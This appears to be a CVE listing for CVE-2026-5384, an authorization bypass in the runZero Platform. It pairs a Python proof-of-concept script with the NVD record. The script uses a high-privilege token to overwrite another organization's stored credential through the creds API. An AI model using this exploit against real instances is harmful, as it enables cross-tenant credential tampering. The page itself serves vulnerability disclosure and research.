CVE-2026-5384

import requests # PoC for CVE-2026-5384: Incorrect Authorization in runZero Platform # Description: This script demonstrates how a high-privileged user might update # credentials belonging to a different organization due to authorization bypass. TARGET_HOST = "https://<runzero-instance>" API_TOKEN = "<HIGH_PRIVILEGE_TOKEN>" # Headers for authentication headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Step 1: Identify a credential ID from a different organization (Reconnaissance required) # Assume 'target_cred_id' belongs to Org B, while the API token belongs to Org A target_cred_id = "TARGET_CREDENTIAL_ID_HERE" # Step 2: Prepare the payload to update the credential # Exploit: The system fails to check if target_cred_id is within the token's authorized scope payload = { "name": "Compromised Credential", "username": "attacker_controlled", "password": "new_password" } # Step 3: Send the update request url = f"{TARGET_HOST}/api/v1.0/creds/{target_cred_id}" try: response = requests.put(url, json=payload, headers=headers) if response.status_code == 200: print("[+] Potential Exploit Successful: Credential updated outside authorized scope.") else: print(f"[-] Request failed with status: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-5384", "sourceIdentifier": "44488dab-36db-4358-99f9-bc116477f914", "published": "2026-04-07T15:17:48.720", "lastModified": "2026-04-21T15:40:40.783", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue that could allow a credential to be updated and used for a task from outside of the authorized organization scope has been resolved. This is an instance of CWE-863: Incorrect Authorization, and has an estimated CVSS score of CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N (5.8 Medium). This issue was fixed in version 4.0.26021.0 of the runZero Platform."}], "metrics": {"cvssMetricV31": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 4.0}]}, "weaknesses": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:runzero:runzero_platform:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.26021.0", "matchCriteriaId": "EB50183C-07CE-4A4C-A00A-2EBE71BFCE08"}]}]}], "references": [{"url": "https://help.runzero.com/docs/release-notes/#402602100", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Release Notes"]}, {"url": "https://www.runzero.com/advisories/runzero-platform-cve-2026-5384/", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Vendor Advisory"]}]}}